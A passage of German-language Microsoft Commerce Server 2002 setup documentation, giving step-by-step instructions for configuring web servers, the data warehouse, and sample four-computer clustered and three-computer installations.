    • In einer Nicht-Commerce-Anwendung können nicht gleichzeitig IIS-Server und Nicht-IIS-Server vorhanden sein.
    Nicht sicherer Hostname Geben Sie den DNS-Domänennamen (Domain Name System) ein, den nicht gesicherte Links in der Anwendung verwenden.

    Vorsicht

    • Wenn Sie als Anschlussnummer nicht 80 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des Servernamens hängen (z. B. www.microsoft.com:81). Die Anschlussnummer können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld TCP-Anschluss anzeigen oder bearbeiten.
    IIS-Anwendungspfad oder Anwendungspfad Eingeben des Pfades zur Anwendung. Beispiel: Für die Anwendung www.microsoft.com/msn lautet der Pfad /msn.

    Vorsicht

    • Wenn Sie diese Eigenschaft ändern, müssen Sie den Speicherort dieser Dateien auf dem/den Webserver(n) ändern, sodass Pfad und Speicherort übereinstimmen. Sie müssen auch IIS mit der neuen Anwendung konfigurieren.
    HTTPS aktivieren | Auswählen dieser Eigenschaft, wenn gesicherte Links in der Anwendung verwendet werden.
    Sicherer Hostname Geben Sie den DNS-Domänennamen ein, den gesicherte Links in der Anwendung verwenden.

    Vorsicht

    • Wenn Sie als Anschlussnummer nicht 443 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des Servernamens hängen (z. B. www.microsoft.com:441). Die SSL-Anschlussnummer (Secure Sockets Layer) können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld SSL-Anschluss anzeigen oder bearbeiten.
  4. Führen Sie auf der Registerkarte Webserver folgende Schritte aus:
    Funktion | Aktion
    IIS-Website | Geben Sie den Namen der IIS-Website (z. B. Standardwebsite) ein.
    Lokale Domäne | Geben Sie den Namen der lokalen Domäne (z. B. microsoft.com) ein.
  5. Klicken Sie auf OK.

So fügen Sie einen Nicht-Commerce-Webserver zu einer Anwendung hinzu

  1. Wählen Sie den Namen der Nicht-Commerce-Anwendung aus, der Sie einen Webserver hinzufügen möchten.
  2. Klicken Sie im Dialogfeld Nicht-Commerce-Anwendungen und -Webserver im Bereich Nicht-Commerce-Webserver für die ausgewählte Anwendung auf Neu.

    Hinweis

    • Wenn keine Nicht-Commerce-Anwendung erstellt wurde, ist die Schaltfläche Neu deaktiviert.
  3. Geben Sie auf der Registerkarte Identitäten des Dialogfelds Neuer Nicht-Commerce-Webserver im Feld Servername den Namen des Computers ein, auf dem der Nicht-Commerce-Webserver ausgeführt wird.
  4. Klicken Sie im Feld Identitäten auf Hinzufügen.
  5. Geben Sie im Dialogfeld Websitekonfiguration die IP-Adresse, den TCP-Anschluss und den Hostheadernamen in die entsprechenden Felder für den Nicht-Commerce-Webserver ein, und klicken Sie anschließend auf OK.
  6. Klicken Sie bei Verwendung eines gesicherten HTTP-Hosts (SSL) in Ihren Anwendungen im Feld SSL-Identitäten auf Hinzufügen.
  7. Geben Sie im Dialogfeld Identität die IP-Adresse und den SSL-Anschluss für den Nicht-Commerce-Webserver ein, und klicken Sie auf OK.
  8. Nehmen Sie im Dialogfeld Neuer Nicht-Commerce-Webserver auf der Registerkarte Protokolldateien die folgenden Einstellungen vor:
    Funktion | Aktion
    Zeitraum für die Protokolldateiaktualisierung | In diesem Feld können Sie angeben, wie lange die Website in eine Protokolldatei schreibt, bevor der Webserver eine neue Datei erstellt.
    Protokolldateimaske | Dieses Feld gibt eine benutzerdefinierte Protokolldateirotation an, die bestimmt, wie lange die Website in eine Protokolldatei schreibt, bevor der Webserver eine neue Datei erstellt.
    Protokolldateiverzeichnis Geben Sie den Protokolldateipfad ein, in den die Website Ereignisse schreibt, z. B. C:\Winnt\System32\LogFiles\Log1.

    Sie können aber auch ein anderes Verzeichnis festlegen, wenn Sie vor der Ausführung der DTS-Webserverprotokollimport-Tasks (Data Transformation Services) die Webprotokolldateien vom Webserver an einen zentralen Speicherort kopieren.
    Codepage der Protokolldatei | Legt die von der gesamten Datei verwendete Codepage fest.
    Codepage der URL-Codierung | Legt die für alle URLs verwendete Codepage fest.
  9. Klicken Sie auf OK.
  10. Nachdem Sie die Nicht-Commerce-Anwendungen und -Webserver erstellt haben, klicken Sie auf Schließen.

    Im Bereich Importserver wird der lokale Computer angezeigt, auf dem Setup ausgeführt wird. Dieses Feld kann nicht bearbeitet werden.

  11. Klicken Sie im Bereich Analyse-/Berichtsserver auf Konfigurieren.
  12. Geben Sie im Dialogfeld Analyse-/Berichtsserver den Namen des Computers ein, auf dem die Verwaltungsmodule "Analyse" und "Berichte" ausgeführt werden. Wenn SQL Server lokal installiert wurde, wird der lokale Computername angezeigt.
  13. Klicken Sie auf OK.

    Hinweis

    • Der Name und der Speicherort der Site können nicht verändert werden, und Commerce Server und Commerce Server Business Desk müssen auf dem Computer installiert sein.
  14. Klicken Sie im Bereich Datenbankserver auf Konfigurieren, um den Computer zu konfigurieren, auf dem die relationale Datenbank des Data Warehouse ausgeführt wird.
  15. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die notwendigen Änderungen vor, und klicken Sie auf OK.

    Hinweis

    • Wenn Sie weitere Informationen über das vollständige Ausfüllen des Dialogfelds Datenverknüpfungseigenschaften benötigen, klicken Sie im Dialogfeld Datenverknüpfungseigenschaften auf Hilfe. Damit öffnen Sie die Microsoft Data Link-Hilfe.
  16. Klicken Sie im Bereich Analysis-Server auf Konfigurieren, um den Computer zu konfigurieren, auf dem die OLAP-Datenbank des Data Warehouse ausgeführt wird.
  17. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die notwendigen Änderungen vor, und klicken Sie auf OK.
  18. Klicken Sie bei Aufforderung auf Weiter und anschließend auf Ja, um Ihren Computer neu zu starten.

Daraufhin wird das Paket mit der leeren Lösungssite entpackt, das das Data Warehouse, die und die Module von Business Desk Analysis enthält.


Installation von Beispielkonfigurationen

Wenn Sie sich mit den Bereitstellungsmöglichkeiten von Commerce Server 2002 näher vertraut machen möchten, können Sie zunächst verschiedene Konfigurationen ausprobieren. Im Folgenden werden mehrere Beispielkonfigurationen für die Bereitstellung von Commerce Server 2002 vorgestellt.

Dieser Abschnitt beinhaltet folgende Themen:

  • Installation auf einer Clusterkonfiguration mit vier Computern. Beschreibt, wie Commerce Server 2002 auf einer Clusterkonfiguration mit vier Computern (zwei Webserver und zwei Datenbankserver) installiert wird.
  • Installation auf einer Konfiguration mit drei Computern ohne Cluster. Beschreibt, wie Commerce Server 2002 auf einem Webserver, einem Data Warehouse-Server und einem Verwaltungsdatenbankserver installiert wird.
  • Installieren der Beispiel-Supplier-Site. Beschreibt, wie zwei Server für das Business-To-Business-Lernprogramm installiert und konfiguriert werden.


Installation auf einer Clusterkonfiguration mit vier Computern

Dieses Thema enthält Anleitungen, die die Installation von Commerce Server 2002 und das Entpacken von Anwendungen in einer Konfiguration mit vier Computern mit folgender Zusammensetzung beschreiben:

  • Zwei Webserver in einem Netzwerklastenausgleich-(NLB)-Cluster. Diese Server enthalten auch die Verwaltungstools von Commerce Server. Genaue Anweisungen zum Installieren und Konfigurieren von NLB finden Sie unter Clustern von Webservern.
  • Zwei SQL Server-Computer, die mithilfe des Clusterdienstes konfiguriert wurden. Diese Server haben einen gemeinsamen Clusternamen. Genaue Anweisungen zum Installieren des Clusterdienstes finden Sie im Step-by-Step Guide to Installing Cluster Service (nur auf Englisch verfügbar).

Eine Abbildung dieser Konfiguration finden Sie unter Konfiguration einer kleinen Site.

Schritt 1: So installieren Sie Commerce Server auf den Webservern

Schritt 2: So installieren Sie Commerce Server auf dem SQL Server-Cluster

Schritt 3: So entpacken Sie Ihre Website und Anwendungen

Schritt 1: So installieren Sie Commerce Server auf den Webservern

  1. Legen Sie die Commerce Server 2002-CD in Ihr CD-Laufwerk ein, und führen Sie das Commerce Server 2002-Setup aus. Nehmen Sie den Lizenzvertrag an, geben Sie Ihre Kundeninformationen ein, und stimmen Sie der Wahl des Standardzielordners zu.
  2. Wählen Sie im Dialogfeld Setup-Typ die Option Benutzerdefiniert aus, und klicken Sie anschließend auf Weiter.
  3. Wählen Sie im Dialogfeld Benutzerdefinierte Installation die Optionen Verwaltung, Commerce Server Site Packager und Onlinedokumentation. Bei Bedarf können Sie auch die Option Vorhersagedienst wählen.
  4. Vergewissern Sie sich, dass die Optionen Analyse und Data Warehouse und Direct Mailer-Dienst nicht ausgewählt sind (ein X in den Kontrollkästchen bedeutet, dass die jeweilige Option nicht ausgewählt ist).
  5. Klicken Sie auf Weiter.
  6. Führen Sie im Dialogfeld Konfiguration der Verwaltungsdatenbank folgende Schritte aus:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Computernamen für den Datenbankserver ein.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für diesen Computer ein. Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für diesen Anmeldenamen ein. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.

    Die Verwaltungsdatenbank befindet sich auf dem SQL Server-Cluster. Mit diesem Schritt verweisen Sie den Computer auf diese Datenbank.

  7. Klicken Sie auf Weiter.
  8. Führen Sie im Dialogfeld Dienstkonten folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie den Windows-Benutzernamen für das Konto ein, über das die Commerce Server-Dienste auf diesem Computer ausgeführt werden.
    Kennwort | Geben Sie das Kennwort für das Windows-Konto ein.
    Domäne | Geben Sie die Domäne für das Windows-Konto ein.

    Die folgende Abbildung zeigt das Dialogfeld Dienstkonten.

  9. Klicken Sie auf Weiter.
  10. Klicken Sie im Dialogfeld Zur Installation bereit auf Installieren.

    Commerce Server-Setup installiert Verwaltungstools und Sitepakete.

  11. Klicken Sie auf Fertig stellen, um das Setupprogramm zu verlassen.

Schritt 2: So installieren Sie Commerce Server auf dem SQL Server-Cluster

  1. Legen Sie die Commerce Server 2002-CD in Ihr CD-Laufwerk ein, und führen Sie das Commerce Server 2002-Setup aus. Nehmen Sie den Lizenzvertrag an, geben Sie Ihre Kundeninformationen ein, und stimmen Sie der Wahl des Standardzielordners zu.
  2. Wählen Sie im Dialogfeld Setup-Typ die Option Benutzerdefiniert aus, und klicken Sie anschließend auf Weiter.
  3. Wählen Sie im Dialogfeld Benutzerdefinierte Installation die Option Analyse und Data Warehouse.
  4. Vergewissern Sie sich, dass alle anderen Optionsfelder leer sind (in jedem Kontrollkästchen sollte sich ein X befinden, das anzeigt, dass die entsprechende Option nicht ausgewählt ist).
  5. Klicken Sie auf Weiter.
  6. Führen Sie im Dialogfeld Konfiguration der Verwaltungsdatenbank folgende Schritte aus:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Clusternamen dieses Serverclusters ein.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen ein, der für den Zugriff auf die Verwaltungsdatenbank verwendet werden soll. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL Server-Anmeldekennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
  7. Klicken Sie auf Weiter.
  8. Führen Sie im Dialogfeld Dienstkonten folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie den Windows-Benutzernamen für das Konto ein, über das die Commerce Server-Dienste auf diesem Computer ausgeführt werden.
    Kennwort | Geben Sie das Kennwort für das Windows-Konto ein.
    Domäne | Geben Sie die Domäne für das Windows-Konto ein.
  9. Klicken Sie auf Weiter.
  10. Klicken Sie im Dialogfeld Zur Installation bereit auf Installieren.

    Commerce Server-Setup installiert die Analyse- und Data Warehouse-Features auf dem SQL Server-Cluster.

  11. Klicken Sie auf Fertig stellen, um das Setupprogramm zu verlassen.

Schritt 3: So entpacken Sie Ihre Website und Anwendungen

  1. Klicken Sie auf dem Webserver, auf dem Sie entpacken möchten, auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie anschließend auf Commerce Server-Manager.
  2. Erweitern Sie Commerce Server-Manager, und klicken Sie anschließend auf Commerce-Sites.
  3. Klicken Sie mit der rechten Maustaste auf Commerce-Sites, zeigen Sie auf Neu, und klicken Sie dann auf Site entpacken.
  4. Navigieren Sie im Dialogfeld Site entpacken von zu dem Ordner, der die zu entpackende Datei enthält. Wählen Sie die Datei, und klicken Sie auf Öffnen.

    Commerce Server Site Packager wird gestartet.

  5. Wählen Sie im Dialogfeld Entpacken die Option Benutzerdefiniertes Entpacken aus, und klicken Sie anschließend auf Weiter.

    Folgende Abbildung zeigt das Dialogfeld Entpacken.

  6. Wählen Sie im Dialogfeld Entpackmethode die Option Neue Site erstellen, und klicken Sie anschließend auf Weiter.

    Folgende Abbildung zeigt das Dialogfeld Entpacken.

  7. Geben Sie im Feld Sitename im Dialogfeld Sitename den Namen der Site ein, oder übernehmen Sie den Standardnamen, und klicken Sie anschließend auf Weiter.

    Die folgende Abbildung zeigt das Dialogfeld Sitename.

    Hinweise

    • Verwenden Sie in Sitenamen keine Sonderzeichen (wie /, \, ?, &, <, >, :, *, |, #, @, %, and '), um Fehler beim Entpacken zu vermeiden. Datenbanknamen haben standardmäßig den Sitenamen vorangestellt. Sonderzeichen werden in SQL Server nicht erkannt.
    • Der Sitename darf nicht mehr als 127 Zeichen umfassen.
    • Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank (Online Analytical Processing) reservierter Name. Wenn Sie Ihre Site "Commerce" nennen, kann dies beim nächsten Entpacken einer Site zum Verlust Ihrer OLAP-Datenbank führen.
    • Die folgenden Begriffe dürfen nicht als Sitename verwendet werden:

      "App Default Config", "BDSecurity", "Biz Data-Dienst", "Kampagnen," "Direct Mail", "Globales Data Warehouse", "Vorhersage", "Produktkatalog", "Site-CS-Authentifizierung", "Data Warehouse der Site", "Transaktionskonfiguration" oder "Transaktionen".

  8. Verschieben Sie im Dialogfeld Ressourcen auswählen alle Ressourcen außer Direct Mail in der Liste auf die rechte Seite. Um Commerce Server Direct Mailer zu entfernen, markieren Sie Direct Mail und klicken auf Entfernen. Folgende Abbildung zeigt das Dialogfeld Ressourcen auswählen.

    Dialogfeld "Ressourcen auswählen ohne Direct Mail"

  9. Wenn Sie die Vorhersageressource nicht installieren möchten, wählen Sie Vorhersagedienst, und klicken Sie auf Entfernen.

    Anmerkung

    • Die Ressourcen CS-Authentifizierung und Profile müssen gemeinsam installiert werden. Sie sind nur funktionsfähig, wenn beide installiert sind.
    • Die Vorhersageressource wird von Commerce Server 2002 Standard Edition nicht unterstützt.
  10. Klicken Sie im Dialogfeld Globale Ressourcenzeiger auf Weiter.

    Verwenden Sie das Dialogfeld Globale Ressourcenzeiger zum Zuordnen vorhandener globaler Ressourcen bzw. zum Erstellen neuer Ressourcen. Dieses Dialogfeld wird auch verwendet, wenn Sie globale Ressourcen bereits auf Ihrem Computer entpackt haben und nun globale Ressourcenzeiger in eine Site entpacken möchten, die die globalen Ressourcen verwenden wird.

    Die Abbildung zeigt einen Beispielbildschirm des Dialogfelds Globale Ressourcenzeiger.

    Dialogfeld "Globale Ressourcenzeiger ohne Direct Mail"

    Im Dialogfeld Datenbank-Verbindungszeichenfolgen sind die Datenbanken aufgeführt, die Site Packager verwendet, sowie die Server, auf denen sich die Datenbanken befinden. Die folgende Abbildung zeigt das Dialogfeld Datenbank-Verbindungszeichenfolgen mit den Standardeinstellungen.

    Datenbank-Verbindungszeichenfolgen 1, Beispiel A

  11. Klicken Sie im Dialogfeld Datenbank-Verbindungszeichenfolgen auf Neue Datenbank. Da Sie die Datenbanken auf den Datenbankservercluster legen, müssen Sie die Datenbanken erstellen.
  12. Führen Sie im Dialogfeld Neue Datenbank folgende Schritte aus:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Namen des SQL Server-Clusters ein.
    Datenbankname | Geben Sie den Namen der Data Warehouse-Datenbank ein.
    SQL-Benutzername | Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL-Kennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.

    Folgende Abbildung zeigt das Dialogfeld Neue Datenbank.

    Dialogfeld "Neue Datenbank"

  13. Klicken Sie auf Datenbank erstellen, um die neue Datenbank zu erstellen.

    Die anderen Datenspeicher (z. B. Kataloge und Transaktionen) werden in einer anderen Datenbank auf dem Datenbankservercluster gespeichert. Diese Datenbanken müssen ebenfalls erstellt werden.

    Die Datenbanken werden auf dem Datenbankservercluster erstellt.

  14. Wenn Sie zum Dialogfeld Datenbank-Verbindungszeichenfolgen zurückgekehrt sind, wählen Sie Globales Data Warehouse, und klicken Sie anschließend auf Ändern.
  15. Geben Sie auf der Registerkarte Verbindung im Dialogfeld Datenverknüpfungseigenschaften den Namen des Datenbankserverclusters in das Feld Geben Sie einen Servernamen ein, oder wählen Sie einen aus ein. Wählen Sie im Feld Wählen Sie die Datenbank auf dem Server aus den Namen aus, den Sie der von Ihnen erstellten Data Warehouse-Datenbank zugewiesen haben. Klicken Sie anschließend auf OK.

    Hinweis

    • Stellen Sie sicher, dass das Kontrollkästchen Speichern des Kennworts zulassen aktiviert ist. Wenn dies nicht der Fall ist, wird die Datenbank von Site Packager nicht erstellt.

    Folgende Abbildung zeigt das Dialogfeld Datenverknüpfungseigenschaften.

    Dialogfeld "Datenverknüpfungseigenschaften, DW"

  16. Wiederholen Sie die Schritte 14 und 15 für alle anderen von Ihnen erstellten Datenbanken.

    Folgende Abbildung zeigt das Dialogfeld Datenbank-Verbindungszeichenfolgen nach der Modifikation.

    Datenbank-Verbindungszeichenfolgen 2, Beispiel A

  17. Klicken Sie auf Weiter.
  18. Überprüfen Sie im Dialogfeld Anwendungen auswählen, ob die zu entpackenden Anwendungen ausgewählt sind. Klicken Sie dann auf Weiter. Folgende Abbildung zeigt das Dialogfeld Anwendungen auswählen.

    Dialogfeld "Anwendungen auswählen"

  19. Überprüfen Sie im Dialogfeld Wählen Sie die IIS-Computer, -Websites und -Pfade aus, ob die IIS-Websites und die IIS-Pfade für jede Anwendung korrekt sind. Um die IIS-Website für eine Anwendung zu ändern, wählen Sie die Anwendung in der Liste und die IIS-Website in der Dropdownliste aus.

    Um den Namen eines virtuellen Verzeichnisses einer Anwendung zu ändern, wählen Sie eine Anwendung in der Liste. Geben Sie den gewünschten Namen in das Feld Virtuelles IIS-Verzeichnis ein.

    Hinweise
    • Verwenden Sie in den Namen der virtuellen IIS-Verzeichnisse keine Sonderzeichen (wie #, @, % und '), um IIS-Fehler zu vermeiden.
    • Das Entpacken von Sites auf Remotecomputern wird von Site Packager nicht unterstützt.
    • Site Packager entpackt jede Anwendung im Basisverzeichnis der jeweiligen IIS-Website. Im Basisverzeichnis erstellt Site Packager ein Unterverzeichnis mit dem Namen des virtuellen IIS-Verzeichnisses der Anwendung.

    Folgende Abbildung zeigt das Dialogfeld Wählen Sie die IIS-Computer, -Websites und -Pfade aus.

    Dialogfeld "Wählen Sie die IIS-Computer, -Websites und -Pfade aus"

  20. Klicken Sie auf Weiter.
  21. Im Dialogfeld Data Warehouse können Sie die folgenden Schritte ausführen:
    Funktion | Aktion
    Name | Eingeben des Namens für die globale Data Warehouse-Ressource.
    Server | Eingeben des Namens des SQL Analysis (OLAP)-Computers.
    Datenbank | Eingeben des Namens der SQL Analysis (OLAP)-Datenbank.
  22. Klicken Sie auf Weiter.
  23. Falls das erste Dialogfeld Profilsystem angezeigt wird, können Sie die folgenden Schritte ausführen:
    Funktion | Aktion
    Profilschemadefinition | Angeben der Profilschemadefinition, die importiert werden soll.
    Sitebegriffsdefinition | Angeben der Sitebegriffsdefinition, die importiert werden soll.
    Ausdrucksdefinition | Angeben der Ausdrucksdefinition, die importiert werden soll.
  24. Klicken Sie auf Weiter.
  25. Falls das zweite Dialogfeld Profilsystem angezeigt wird, können Sie die folgenden Schritte ausführen:
    Funktion | Aktion
    Verbindungszeichenfolge für das Profilsystem | Angeben der Dateien, die in den OLEDB-Datenspeicher importiert werden sollen. Klicken Sie auf Ändern, um eine andere Datenbank anzugeben.
    Schemadefinitionsskripts (*.sql, *.vbs) | Angeben der Schemadefinitionsskripts, die importiert werden sollen.
    Datenauffüllungsskripts (*.sql) | Angeben der Datenauffüllungsskripts, die importiert werden sollen.
  26. Klicken Sie auf Weiter.
  27. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Klicken Sie auf Protokolldatei anzeigen, um die Liste der Ereignisse in der Site Packager-Protokolldatei anzusehen.
  28. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

Hinweise

  • Unmittelbar nach dem Installieren der Site sowie jedes Mal, wenn Sie grundlegende Änderungen an der Konfiguration der Commerce Server-Bereitstellung vornehmen, sollten Sie die Verwaltungsdatenbank unter einem anderen Namen sichern. Sie können diese Sicherungskopie verwenden, um bei Bedarf jegliche später vorgenommenen Änderungen rückgängig zu machen.
  • Führen Sie nie mehr als eine Instanz von Site Packager gleichzeitig auf einem Computer aus.

Siehe auch

Verwenden von Skripts mit Site Packager


Installation auf einer Konfiguration mit drei Computern ohne Cluster

Sie verwenden Commerce Server Site Packager, um Siteressourcen jedes beliebigen Commerce Server 2002-Computers in der Verwaltungsdatenbank bereitzustellen. Wenn Sie z. B. drei Computer besitzen, sollten Sie Commerce Server auf dem Webserver installieren und anschließend die Commerce Server-Datenbanken auf einem anderen Computer bereitstellen. Sie können die Computer folgendermaßen konfigurieren:

  • Computer A wird für die Verwaltungsdatenbank und Verwaltungstools verwendet. Mit diesem Computer verwalten Sie Commerce Server.
  • Computer B wird für das Data Warehouse und andere Datenbanken verwendet.
  • Computer C wird als Webserver verwendet und enthält die ASP-Dateien (Active Server Pages) Ihrer Anwendung.

Bei diesen Hinweisen wird davon ausgegangen, dass auf allen drei Computern Microsoft Windows 2000 Server installiert und auf den Computern A und B Microsoft SQL Server 2000 installiert ist. Ist dies nicht der Fall, beachten Sie die Hinweise unter Installieren von Commerce Server.

Schritt 1: Installieren von Commerce Server auf Computer A

Schritt 2: Installieren von Commerce Server auf Computer B nur mit Data Warehouse

Schritt 3: Installieren von Commerce Server-Webserver auf Computer C

Schritt 4: Entpacken der Site von Computer A

Schritt 5: Hinzufügen des Commerce Server-Webservers (Computer C) zu Ihrer Anwendung

Schritt 1: Installieren von Commerce Server auf Computer A

  1. Legen Sie die Commerce Server 2002-CD in Ihr CD-Laufwerk ein, und führen Sie das Commerce Server 2002-Setup aus. Nehmen Sie den Lizenzvertrag an, geben Sie Ihre Kundeninformationen ein, und stimmen Sie der Wahl des Standardzielordners zu.
  2. Wählen Sie im Dialogfeld Setup-Typ die Option Benutzerdefiniert aus, und klicken Sie anschließend auf Weiter.
  3. Vergewissern Sie sich im Dialogfeld Benutzerdefinierte Installation im Ordner Laufzeitobjekte, dass die Option Analyse und Data Warehouse deaktiviert ist. (Dazu muss ein X im Kontrollkästchen stehen.) Wählen Sie die anderen zu installierenden Features aus, z. B. den Vorhersagedienst.
  4. Führen Sie im Dialogfeld Konfiguration der Verwaltungsdatenbank folgende Schritte aus:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Computernamen für den Datenbankserver (Computer B) ein.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für diesen Computer ein. Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für diesen Computer ein. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
  5. Klicken Sie auf Weiter.
  6. Führen Sie im Dialogfeld Dienstkonten folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie den Windows-Benutzernamen für das Konto ein, über das die Commerce Server-Dienste auf diesem Computer ausgeführt werden.
    Kennwort | Geben Sie das Kennwort für das Windows-Konto ein.
    Domäne | Geben Sie die Domäne für das Windows-Konto ein.
  7. Klicken Sie auf Weiter.
  8. Klicken Sie im Dialogfeld Zur Installation bereit auf Installieren.

    Commerce Server-Setup installiert die Features, die Sie auf Computer A angegeben haben, einschließlich der Verwaltungstools. Sie können diesen Computer zum Verwalten Ihrer Commerce Server-Installation verwenden.

  9. Klicken Sie auf Fertig stellen, um das Setupprogramm zu verlassen.

Schritt 2: Installieren von Commerce Server auf Computer B nur mit Data Warehouse

  1. Legen Sie die Commerce Server 2002-CD in Ihr CD-Laufwerk ein, und führen Sie das Commerce Server 2002-Setup aus. Nehmen Sie den Lizenzvertrag an, geben Sie Ihre Kundeninformationen ein, und stimmen Sie der Wahl des Standardzielordners zu.
  2. Wählen Sie im Dialogfeld Setup-Typ die Option Benutzerdefiniert aus, und klicken Sie anschließend auf Weiter.
  3. Wählen Sie im Dialogfeld Benutzerdefinierte Installation im Verzeichnis Laufzeitobjekte die Option Analyse und Data Warehouse aus, und deaktivieren Sie bis auf Direct Mailer-Dienst (falls Sie diese Option verwenden möchten) alle anderen Optionen. Klicken Sie auf Weiter.
  4. Führen Sie im Dialogfeld Konfiguration der Verwaltungsdatenbank folgende Schritte aus:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Computernamen für den Datenbankserver (Computer B) ein.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für diesen Computer ein. Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für diesen Computer ein. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
  5. Führen Sie zur Installation von Direct Mailer im Dialogfeld Konfiguration der Direct Mailer-Datenbank folgende Schritte aus:
    Funktion | Aktion
    SQL Server-Computer | Übernehmen Sie die Standardwerte (Computer B).
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für diesen Computer ein. Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für diesen Computer ein. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
  6. Geben Sie im Dialogfeld Dienstkonten den Windows-Benutzernamen und das Kennwort des Kontos ein, über das die Commerce Server-Dienste auf diesem Computer ausgeführt werden, und klicken Sie auf Weiter.
  7. Klicken Sie im Dialogfeld Zur Installation bereit auf Installieren.

    Commerce Server-Setup installiert die Analyse- und Data Warehouse-Features auf dem Computer B.

  8. Klicken Sie auf Fertig stellen, um das Setupprogramm zu verlassen.

Schritt 3: Installieren von Commerce Server-Webserver auf Computer C

  1. Legen Sie die Commerce Server 2002-CD in das CD-Laufwerk ein, und führen Sie das Programm Commerce Server 2002-Setup mit der Installationsoption Webserver aus. Nehmen Sie den Lizenzvertrag an, geben Sie Ihre Kundeninformationen ein, und stimmen Sie der Wahl des Standardzielordners zu.
  2. Klicken Sie auf Weiter.
  3. Führen Sie im Dialogfeld Konfiguration der Verwaltungsdatenbank folgende Schritte aus:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Computernamen für den Datenbankserver (Computer B) ein.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für diesen Computer ein. Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für diesen Computer ein. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
  4. Klicken Sie auf Weiter.
  5. Geben Sie im Dialogfeld Dienstkonten den Windows-Benutzernamen und das Kennwort des Benutzers ein, dem Zugriff auf die Commerce Server-Dienste dieses Computers gewährt wird. Klicken Sie anschließend auf Weiter.
  6. Klicken Sie im Dialogfeld Zur Installation bereit auf Installieren.

    Das Commerce Server-Setup installiert die Laufzeitobjekte und Commerce Server Site-Pakete auf Computer C.

  7. Klicken Sie auf Fertig stellen, um das Setupprogramm zu verlassen.

Schritt 4: Entpacken der Site von Computer A

  1. Klicken Sie auf Computer A auf Start, zeigen Sie erst auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie anschließend auf Commerce Server-Manager.
  2. Erweitern Sie Commerce Server-Manager, und klicken Sie anschließend auf Commerce-Sites.
  3. Klicken Sie mit der rechten Maustaste auf Commerce-Sites, zeigen Sie auf Neu, und klicken Sie dann auf Site entpacken.
  4. Navigieren Sie im Dialogfeld Site entpacken von zu dem Ordner, der die zu entpackende Datei enthält. Wählen Sie die Datei, und klicken Sie auf Öffnen.

    Commerce Server Site Packager wird gestartet.

